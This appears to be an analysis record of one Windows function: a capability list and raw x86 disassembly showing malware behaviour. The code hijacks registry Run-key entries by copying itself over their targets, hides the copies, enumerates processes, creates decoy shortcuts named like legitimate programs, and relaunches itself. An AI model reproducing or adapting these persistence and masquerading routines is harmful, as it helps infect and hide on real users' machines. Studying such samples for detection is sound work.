Function at 0x402240
Capabilities:
Copy file
Create process on windows
Create shortcut via ishelllink
Enumerate processes
Get common file path
Get program files directory
Initialize winsock library
Move file
Persist via run registry key
Query or enumerate registry value
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xcec
mov eax, dword [0x41201c]
xor eax, esp
mov dword [esp + 0xce8], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
lea eax, [esp + 0x168]
push eax
push 0x202
mov dword [esp + 0x18], esi
call sub.WS2_32.dll_WSAStartup
mov edi, dword [sym.imp.MSVCR80.dll_strstr]
push str.mmip
push esi
call edi
xor ebx, ebx
add esp, 8
cmp eax, ebx
je 0x402316
add eax, 5
mov byte [esp + 0x2fc], bl
mov dword [esp + 0x2fd], ebx
mov dword [esp + 0x301], ebx
mov dword [esp + 0x305], ebx
mov dword [esp + 0x309], ebx
mov word [esp + 0x30d], bx
mov byte [esp + 0x30f], bl
mov esi, eax
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x4022c8
lea edi, [esp + 0x2fc]
sub eax, esi
add edi, 0xffffffff
lea ecx, [ecx]
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x4022e0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2fc]
push ecx
call fcn.00407a70
push 0xd693a400
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.MSVCR80.dll_strstr]
push 0x12b
lea edx, [esp + 0x315]
push ebx
push edx
mov byte [esp + 0x31c], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0x314]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x310]
push str..exe
push ecx
call edi
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x40237b
lea edx, [esp + 0x310]
push str..EXE
push edx
call edi
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x40240b
lea eax, [esp + 0x310]
push str..exe
push eax
call edi
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
add esp, 8
mov dword [esi + 0xc], ebx
test eax, eax
mov dword [esi + 0x10], ebx
lea eax, [esp + 0x310]
je 0x4023c9
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x4023b0
mov ecx, dword [str.s.exe]
mov dx, word [0x40f5c0]
jmp 0x4023e7
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x4023d0
mov ecx, dword [str.s.EXE]
mov dx, word [0x40f5c8]
mov dword [eax], ecx
mov ecx, dword [esp + 0x10]
mov word [eax + 4], dx
mov eax, dword [ebp + 0x14]
push eax
push ebx
push ecx
lea edx, [esp + 0x31c]
push edx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x12b
lea eax, [esp + 0xbc5]
push ebx
push eax
mov byte [esp + 0xbcc], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
mov esi, 0x12c
push esi
lea ecx, [esp + 0xbc4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0xbc0]
push str.setup.exe
push edx
call edi
add esp, 8
test eax, eax
je 0x402bf9
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x12b
lea ecx, [esp + 0x5dd]
push ebx
push ecx
mov byte [esp + 0x5e4], bl
call sub.MSVCR80.dll_memset
push 0x12b
lea edx, [esp + 0x451]
push ebx
push edx
mov byte [esp + 0x458], bl
call sub.MSVCR80.dll_memset
add esp, 0x18
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x444]
push ecx
lea edx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x20]
push ebx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x5ec]
push ecx
push ebx
push edx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x38], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x402818
cmp dword [esp + 0x18], 0x64
jae 0x402818
cmp dword [esp + 0xc], ebx
jg 0x402818
mov esi, dword [sym.imp.MSVCR80.dll_strstr]
lea eax, [esp + 0x440]
push 0x40f610
push eax
call esi
lea ecx, [esp + 0x448]
push str..exe
push ecx
mov edi, eax
call esi
mov esi, eax
add esp, 0x10
cmp esi, ebx
jne 0x402547
lea edx, [esp + 0x440]
push str..EXE
push edx
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 8
mov esi, eax
cmp edi, ebx
je 0x4027ab
cmp esi, ebx
je 0x4027ab
lea eax, [edi + 2]
cmp esi, eax
jbe 0x4027ab
push 0x12b
lea ecx, [esp + 0x315]
push ebx
push ecx
mov byte [esp + 0x31c], bl
call sub.MSVCR80.dll_memset
sub esi, edi
add esi, 5
push esi
add edi, 0xffffffff
lea edx, [esp + 0x320]
push edi
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
lea eax, [esp + 0x328]
push 0x5c
push eax
call dword [sym.imp.MSVCR80.dll_strrchr]
lea ecx, [esp + 0x330]
push str..exe
push ecx
mov edi, eax
call dword [sym.imp.MSVCR80.dll_strstr]
mov esi, eax
add esp, 0x28
cmp esi, ebx
jne 0x4025da
lea edx, [esp + 0x310]
push str..EXE
push edx
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 8
mov esi, eax
push 0x63
lea eax, [esp + 0x575]
push ebx
push eax
mov byte [esp + 0x57c], bl
call sub.MSVCR80.dll_memset
push 0x12b
lea ecx, [esp + 0x719]
push ebx
push ecx
mov byte [esp + 0x720], bl
call sub.MSVCR80.dll_memset
add esp, 0x18
cmp edi, ebx
je 0x4027ab
cmp esi, ebx
je 0x4027ab
lea eax, [edi + 1]
cmp esi, eax
jbe 0x4027ab
mov edx, esi
sub edx, edi
mov edi, dword [sym.imp.MSVCR80.dll_strncpy]
add edx, 3
push edx
push eax
lea eax, [esp + 0x578]
push eax
call edi
lea ecx, [esp + 0x31c]
sub esi, ecx
push esi
mov edx, ecx
push edx
lea eax, [esp + 0x71c]
push eax
call edi
lea ecx, [esp + 0x328]
push str..exe
push ecx
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 0x20
test eax, eax
lea eax, [esp + 0x708]
je 0x402699
add eax, 0xffffffff
lea ecx, [ecx]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x402680
mov edx, dword [str.s.exe]
mov cx, word [0x40f5c0]
jmp 0x4026b7
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x4026a0
mov edx, dword [str.s.EXE]
mov cx, word [0x40f5c8]
push ebx
mov dword [eax], edx
push 2
mov word [eax + 4], cx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0x40]
mov esi, eax
push edx
push esi
mov dword [esp + 0x48], 0x128
call sub.KERNEL32.dll_Process32First
lea eax, [esp + 0x40]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4027ab
mov edi, dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
lea eax, [esp + 0x570]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x402700
sub eax, edx
add eax, 1
push eax
lea ecx, [esp + 0x574]
push ecx
lea edx, [esp + 0x6c]
push edx
call edi
test eax, eax
je 0x402733
lea eax, [esp + 0x40]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4026f3
jmp 0x4027ab
lea ecx, [esp + 0x708]
push ecx
lea edx, [esp + 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x12b
lea eax, [esp + 0x83d]
push ebx
push eax
mov byte [esp + 0x844], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea ecx, [esp + 0x83c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea edx, [esp + 0x314]
push edx
lea eax, [esp + 0x840]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4027ab
push 6
lea ecx, [esp + 0x314]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add dword [esp + 0xc], 1
mov esi, 0x12c
push esi
lea edx, [esp + 0x5dc]
push ebx
push edx
call sub.MSVCR80.dll_memset
push esi
lea eax, [esp + 0x450]
push ebx
push eax
call sub.MSVCR80.dll_memset
mov eax, dword [esp + 0x30]
add esp, 0x18
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x444]
push edx
lea ecx, [esp + 0x18]
push ecx
push ebx
lea edx, [esp + 0x2c]
push edx
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x5ec]
add eax, 1
push ecx
push eax
push edx
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x38], eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x4024eb
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x12b
lea edx, [esp + 0x5dd]
push ebx
push edx
mov byte [esp + 0x5e4], bl
call sub.MSVCR80.dll_memset
push 0x12b
lea eax, [esp + 0x451]
push ebx
push eax
mov byte [esp + 0x458], bl
call sub.MSVCR80.dll_memset
add esp, 0x18
mov eax, 0x12c
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], eax
lea edx, [esp + 0x444]
push edx
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x24]
push ebx
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x5ec]
push edx
push ebx
push eax
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x402be8
cmp dword [esp + 0x14], 0x64
jae 0x402be8
cmp dword [esp + 0xc], ebx
jg 0x402be8
mov esi, dword [sym.imp.MSVCR80.dll_strstr]
lea ecx, [esp + 0x440]
push 0x40f610
push ecx
call esi
lea edx, [esp + 0x448]
push str..exe
push edx
mov edi, eax
call esi
mov esi, eax
add esp, 0x10
cmp esi, ebx
jne 0x402914
lea eax, [esp + 0x440]
push str..EXE
push eax
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 8
mov esi, eax
cmp edi, ebx
je 0x402b7b
cmp esi, ebx
je 0x402b7b
lea ecx, [edi + 2]
cmp esi, ecx
jbe 0x402b7b
push 0x12b
lea edx, [esp + 0x315]
push ebx
push edx
mov byte [esp + 0x31c], bl
call sub.MSVCR80.dll_memset
sub esi, edi
add esi, 5
push esi
add edi, 0xffffffff
lea eax, [esp + 0x320]
push edi
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
lea ecx, [esp + 0x328]
push 0x5c
push ecx
call dword [sym.imp.MSVCR80.dll_strrchr]
lea edx, [esp + 0x330]
push str..exe
push edx
mov edi, eax
call dword [sym.imp.MSVCR80.dll_strstr]
mov esi, eax
add esp, 0x28
cmp esi, ebx
jne 0x4029a7
lea eax, [esp + 0x310]
push str..EXE
push eax
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 8
mov esi, eax
push 0x63
lea ecx, [esp + 0x575]
push ebx
push ecx
mov byte [esp + 0x57c], bl
call sub.MSVCR80.dll_memset
push 0x12b
lea edx, [esp + 0x719]
push ebx
push edx
mov byte [esp + 0x720], bl
call sub.MSVCR80.dll_memset
add esp, 0x18
cmp edi, ebx
je 0x402b7b
cmp esi, ebx
je 0x402b7b
lea eax, [edi + 1]
cmp esi, eax
jbe 0x402b7b
mov ecx, esi
sub ecx, edi
mov edi, dword [sym.imp.MSVCR80.dll_strncpy]
add ecx, 3
push ecx
push eax
lea edx, [esp + 0x578]
push edx
call edi
lea eax, [esp + 0x31c]
sub esi, eax
push esi
mov ecx, eax
push ecx
lea edx, [esp + 0x71c]
push edx
call edi
lea eax, [esp + 0x328]
push str..exe
push eax
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 0x20
test eax, eax
lea eax, [esp + 0x708]
je 0x402a69
add eax, 0xffffffff
lea ebx, [ebx]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x402a50
mov ecx, dword [str.s.exe]
mov dx, word [0x40f5c0]
jmp 0x402a87
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x402a70
mov ecx, dword [str.s.EXE]
mov dx, word [0x40f5c8]
push ebx
mov dword [eax], ecx
push 2
mov word [eax + 4], dx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x40]
push eax
push esi
mov dword [esp + 0x48], 0x128
call sub.KERNEL32.dll_Process32First
lea ecx, [esp + 0x40]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x402b7b
mov edi, dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
lea eax, [esp + 0x570]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x402ad0
sub eax, edx
add eax, 1
push eax
lea edx, [esp + 0x574]
push edx
lea eax, [esp + 0x6c]
push eax
call edi
test eax, eax
je 0x402b03
lea ecx, [esp + 0x40]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402ac3
jmp 0x402b7b
lea edx, [esp + 0x708]
push edx
lea eax, [esp + 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x12b
lea ecx, [esp + 0x83d]
push ebx
push ecx
mov byte [esp + 0x844], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea edx, [esp + 0x83c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea eax, [esp + 0x314]
push eax
lea ecx, [esp + 0x840]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402b7b
push 6
lea edx, [esp + 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add dword [esp + 0xc], 1
mov esi, 0x12c
push esi
lea eax, [esp + 0x5dc]
push ebx
push eax
call sub.MSVCR80.dll_memset
push esi
lea ecx, [esp + 0x450]
push ebx
push ecx
call sub.MSVCR80.dll_memset
mov eax, dword [esp + 0x2c]
add esp, 0x18
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x444]
push ecx
lea edx, [esp + 0x18]
push edx
push ebx
lea ecx, [esp + 0x30]
push ecx
add eax, 1
lea edx, [esp + 0x5ec]
push edx
push eax
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x34]
push eax
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], esi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x4028b8
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.MSVCR80.dll_strstr]
push 0x12b
lea edx, [esp + 0xa95]
push ebx
push edx
mov byte [esp + 0xa9c], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0xa94]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xa90]
push str.setup.exe
push ecx
call edi
add esp, 8
test eax, eax
je 0x403291
push 0x12b
lea edx, [esp + 0x70d]
push ebx
push edx
mov byte [esp + 0x714], bl
call sub.MSVCR80.dll_memset
push 0x12c
lea eax, [esp + 0xaa0]
push eax
lea ecx, [esp + 0x71c]
push ecx
call dword [sym.imp.MSVCR80.dll_strncpy]
lea edx, [esp + 0x720]
push 0x5c
push edx
call dword [sym.imp.MSVCR80.dll_strrchr]
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
lea eax, [esp + 0x728]
add esp, 0x20
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x402ca4
mov ecx, dword [str.pcvideocap2]
mov edx, dword [0x40f618]
mov dword [eax], ecx
mov ecx, dword [0x40f61c]
mov dword [eax + 4], edx
mov dl, byte [0x40f620]
mov dword [eax + 8], ecx
push 0x103
mov byte [eax + 0xc], dl
lea eax, [esp + 0x45]
push ebx
push eax
mov byte [esp + 0x4c], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push ebx
push 0x26
lea ecx, [esp + 0x48]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x40]
add eax, 0xffffffff
mov edi, edi
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x402d00
mov edx, dword [str.pcvideocap2]
mov ecx, dword [0x40f618]
mov dword [eax], edx
mov edx, dword [0x40f61c]
mov dword [eax + 4], ecx
mov cl, byte [0x40f620]
mov dword [eax + 8], edx
lea edx, [esp + 0x40]
mov byte [eax + 0xc], cl
push edx
lea eax, [esp + 0x70c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esi, dword [sym.imp.ole32.dll_CoInitialize]
push ebx
call esi
mov edi, dword [sym.imp.ole32.dll_CoCreateInstance]
lea ecx, [esp + 0xc]
push ecx
push 0x40f3ec
push 1
push ebx
push 0x40f3fc
call edi
mov eax, dword [esp + 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
lea ecx, [esp + 0x10]
push ecx
push 0x40f41c
push eax
call edx
push 0x12b
lea eax, [esp + 0x445]
push ebx
push eax
mov byte [esp + 0x44c], bl
call sub.MSVCR80.dll_memset
push 0x104
lea ecx, [esp + 0x50]
push ecx
lea edx, [esp + 0x454]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
lea eax, [esp + 0x458]
add esp, 0x18
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x402db7
mov ecx, dword [str._videocap.exe]
mov edx, dword [0x40f628]
mov dword [eax], ecx
mov ecx, dword [0x40f62c]
mov dword [eax + 4], edx
mov dx, word [0x40f630]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
lea edx, [esp + 0x440]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push ebx
lea edx, [esp + 0x444]
push edx
push eax
mov eax, dword [ecx + 0x44]
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 1
push eax
call edx
push 0x12b
lea eax, [esp + 0x315]
push ebx
push eax
mov byte [esp + 0x31c], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push ebx
push ebx
lea ecx, [esp + 0x318]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x310]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x402e55
mov edx, dword [0x40f634]
mov ecx, dword [0x40f638]
mov dword [eax], edx
mov edx, dword [0x40f63c]
mov dword [eax + 4], ecx
mov ecx, dword [0x40f640]
mov dword [eax + 8], edx
mov edx, dword [0x40f644]
mov dword [eax + 0xc], ecx
push 0x256
mov dword [eax + 0x10], edx
lea eax, [esp + 0x83e]
push ebx
push eax
mov word [esp + 0x844], bx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea ecx, [esp + 0x83c]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x31c]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
push ebx
lea edx, [esp + 0x83c]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
push 1
push ebx
push ebx
lea eax, [esp + 0x31c]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
call esi
lea ecx, [esp + 0xc]
push ecx
push 0x40f3ec
push 1
push ebx
push 0x40f3fc
call edi
mov eax, dword [esp + 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
lea ecx, [esp + 0x10]
push ecx
push 0x40f41c
push eax
call edx
push 0x12b
lea eax, [esp + 0x445]
push ebx
push eax
mov byte [esp + 0x44c], bl
call sub.MSVCR80.dll_memset
push 0x104
lea ecx, [esp + 0x50]
push ecx
lea edx, [esp + 0x454]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
lea eax, [esp + 0x458]
add esp, 0x18
add eax, 0xffffffff
mov edi, edi
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x402f80
mov ecx, dword [str.CCPLAYER.exe]
mov edx, dword [0x40f64c]
mov dword [eax], ecx
mov ecx, dword [0x40f650]
mov dword [eax + 4], edx
mov dx, word [0x40f654]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
lea edx, [esp + 0x440]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push ebx
lea edx, [esp + 0x444]
push edx
push eax
mov eax, dword [ecx + 0x44]
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 1
push eax
call edx
push 0x12b
lea eax, [esp + 0x5dd]
push ebx
push eax
mov byte [esp + 0x5e4], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push ebx
push ebx
lea ecx, [esp + 0x5e0]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x5d8]
add eax, 0xffffffff
mov edi, edi
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x403020
mov edx, dword [0x40f658]
mov ecx, dword [0x40f65c]
mov dword [eax], edx
mov edx, dword [0x40f660]
mov dword [eax + 4], ecx
mov ecx, dword [0x40f664]
mov dword [eax + 8], edx
mov edx, dword [0x40f668]
mov dword [eax + 0xc], ecx
mov ecx, dword [0x40f66c]
mov dword [eax + 0x10], edx
push 0x256
lea edx, [esp + 0x83e]
push ebx
push edx
mov dword [eax + 0x14], ecx
mov word [esp + 0x844], bx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0x83c]
push eax
push 0xffffffffffffffff
lea ecx, [esp + 0x5e4]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x10]
mov edx, dword [eax]
mov edx, dword [edx + 0x18]
push ebx
lea ecx, [esp + 0x83c]
push ecx
push eax
call edx
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
call esi
lea eax, [esp + 0xc]
push eax
push 0x40f3ec
push 1
push ebx
push 0x40f3fc
call edi
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push edx
push 0x40f41c
push eax
mov eax, dword [ecx]
call eax
push 0x12b
lea ecx, [esp + 0x445]
push ebx
push ecx
mov byte [esp + 0x44c], bl
call sub.MSVCR80.dll_memset
push 0x104
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x454]
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
lea eax, [esp + 0x458]
add esp, 0x18
add eax, 0xffffffff
lea ebx, [ebx]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x403140
mov ecx, dword [str.diskburn.exe]
mov edx, dword [0x40f674]
mov dword [eax], ecx
mov ecx, dword [0x40f678]
mov dword [eax + 4], edx
mov dx, word [0x40f67c]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
lea edx, [esp + 0x440]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push ebx
lea edx, [esp + 0x444]
push edx
push eax
mov eax, dword [ecx + 0x44]
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 1
push eax
call edx
push 0x12b
lea eax, [esp + 0x5dd]
push ebx
push eax
mov byte [esp + 0x5e4], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push ebx
push ebx
lea ecx, [esp + 0x5e0]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x5d8]
add eax, 0xffffffff
mov edi, edi
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x4031e0
mov edx, dword [0x40f680]
mov ecx, dword [0x40f684]
mov dword [eax], edx
mov edx, dword [0x40f688]
mov dword [eax + 4], ecx
mov ecx, dword [0x40f68c]
mov dword [eax + 8], edx
mov edx, dword [0x40f690]
mov dword [eax + 0xc], ecx
mov cx, word [0x40f694]
mov dword [eax + 0x10], edx
push 0x256
lea edx, [esp + 0x83e]
push ebx
push edx
mov word [eax + 0x14], cx
mov word [esp + 0x844], bx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0x83c]
push eax
push 0xffffffffffffffff
lea ecx, [esp + 0x5e4]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x10]
mov edx, dword [eax]
mov edx, dword [edx + 0x18]
push ebx
lea ecx, [esp + 0x83c]
push ecx
push eax
call edx
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.00406c50
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push ebx
push ebx
push ebx
lea eax, [esp + 0x30]
push eax
call esi
cmp eax, 1
jne 0x4032d2
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [esp + 0x24]
push ecx
call edi
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
lea eax, [esp + 0x30]
push eax
call esi
cmp eax, 1
je 0x4032b1
mov ecx, dword [esp + 0xcf4]
mov eax, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040e2e2
mov esp, ebp
pop ebp
ret 0x10